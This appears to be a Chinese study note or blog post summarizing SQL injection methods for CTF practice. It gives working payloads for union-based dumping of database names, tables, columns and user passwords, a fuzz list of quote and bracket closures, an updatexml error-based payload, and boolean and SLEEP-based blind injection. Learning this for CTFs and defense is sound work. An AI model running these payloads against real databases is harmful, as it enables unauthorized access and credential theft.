sql注入总结

· 阅读约 3 分钟

sql注入分类

  • 回显正常

    • 联合查询:union select
  • 回显报错

    • 报错注入:
      • Duplicate entry()
      • extractvalue()
      • updatexml()
  • 无回显

    • 布尔型盲注:length(),ascii()
    • 时间型盲注:sleep()
  • 堆叠注入

union select 联合查询

第一步:探测select的参数数量

原理:union select后面的参数数量需要与前面的select保持一致

使用ORDER BY 3,ORDER BY 4等语句探测参数数量

如果ORDER BY 3不报错而ORDER BY 4报错,说明参数数量为3

可以使用burp的intruder 枚举这个数字ORDER BY §3§

第二步:获取数据库的名字,为下一步获取table名称做准备

获得当前数据库的名称:

UNION SELECT 1,2,database()

但是有时需要的数据不在当前数据库中,可以使用下列语句查询所有数据库:

union select 1,group_concat(schema_name) from information_schema.schemata

或者作为单独的语句用在堆叠注入中:

show databases;

第三步:从information_schema数据库中的TABLES这个表(table)中查询数据库为database()的表有哪些 table_name是字段(列)

UNION SELECT 1,2,GROUP_CONCAT(table_name) FROM information_schema.TABLES WHERE table_schema = database()

第四步:从information_schema数据库中的COLUMNS这个表(table)中查询数据库为database()并且表名为users(上一步查出来的结果中的一个)的所有列(字段)

UNION SELECT 1,2,GROUP_CONCAT(column_name) FROM information_schema.COLUMNS WHERE table_schema = database() AND table_name = "users" #users是上一步获得的table名称

第五步:查询需要的数据

UNION SELECT 1,GROUP_CONCAT(username),GROUP_CONCAT(password) FROM users

如何判断闭合符号

  1. 源码泄露

    LitCTF 2023(页面给了提示,需要用6个右括号闭合)

    SWPUCTF 2021 新生赛(在html注释中给了提示)

    image-20260705224018066

  2. 看报错

    You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

    我们把单引号里面的东西拿出来,'1'' LIMIT 0,11'是我刚才输入的,所以推测sql语句是where id = '$id' limit 0,1

  3. 用intruder跑一遍fuzz:

    1. '
    2. ''
    3. ' --+
    4. " --+
    5. ') --+
    6. ") --+
    7. ')) --+
    8. ")) --+
    9. 1' and '1'='1
    10. 1' and '1'='2
    11. 1" and "1"="1
    12. 1" and "1"="2
    13. 1 and 1=1
    14. 1 and 1=2

    判断方法:

    1. 判断有无引号

      1. 1 正常显示
      2. 1 and 1=1正常显示
      3. 1 and 1=2无数据,空页面

      说明是数值型,不需要闭合

    2. 判断单引号还是双引号

      1. 1'报错→有可能是单引号,再尝试1' --+正常显示→确定是单引号
      2. 1"报错→有可能是双引号,再尝试1" --+正常显示→确定是双引号
    3. 判断有无括号

      1. 1' --+依然报错 说明sql语句是类似where id = ('1' --+),注释的时候把后面的右括号注释掉了导致括号数量不匹配报错 输入1') --+正常 说明是单引号+一个括号
      2. 1') --+依然报错,则尝试1')) --+1'))) --+等等
      3. 双引号类似
    4. 若没有报错则用逻辑判断(没有报错只能通过页面是否正常显示数据来判断)

      1. 1' and '1'='1有数据→单引号闭合成功
      2. 1' and '1'='2无数据→确认是单引号
      3. 1" and "1"="1有数据→双引号闭合成功
      4. 1") and ("1"="1有数据→双引号+右括号闭合成功

--注释和#的区别

在post里面最好用#注释,也就是%23

在get里面两个都可以 但是注意#是mysql特有的单行注释方法

substr()的用法

SUBSTR(str, pos, len)

str:要处理的字符串

pos:起始位置(从 1 开始计数,不是 0)

len:要截取的长度(可选,省略则截取到末尾)

报错注入

and updatexml(1,concat(0x7e,(xxx),0x7e),1)

原理:UPDATEXML(XML_document, XPath_string, new_value) 原本用于替换XML文档中的节点路径,但是传入无法解析的路径的时候就会报错,会把整个XPath字符串回显出来

其中0x7e~的十六进制

concat 将三者拼接为 ~xxx~

盲注

布尔盲注

and length(database())=8,and length(database())>8等等用二分答案进行爆破

and ascii(substr(database(), 1, 1))=ascii('s')#查看数据库的第一个字符

时间盲注

AND IF(ASCII(SUBSTR(DATABASE(),1,1))=115, SLEEP(5), 1)

IF(condition, true_value, false_value): 条件判断语句。condition为真时返回true_value,否则返回false_value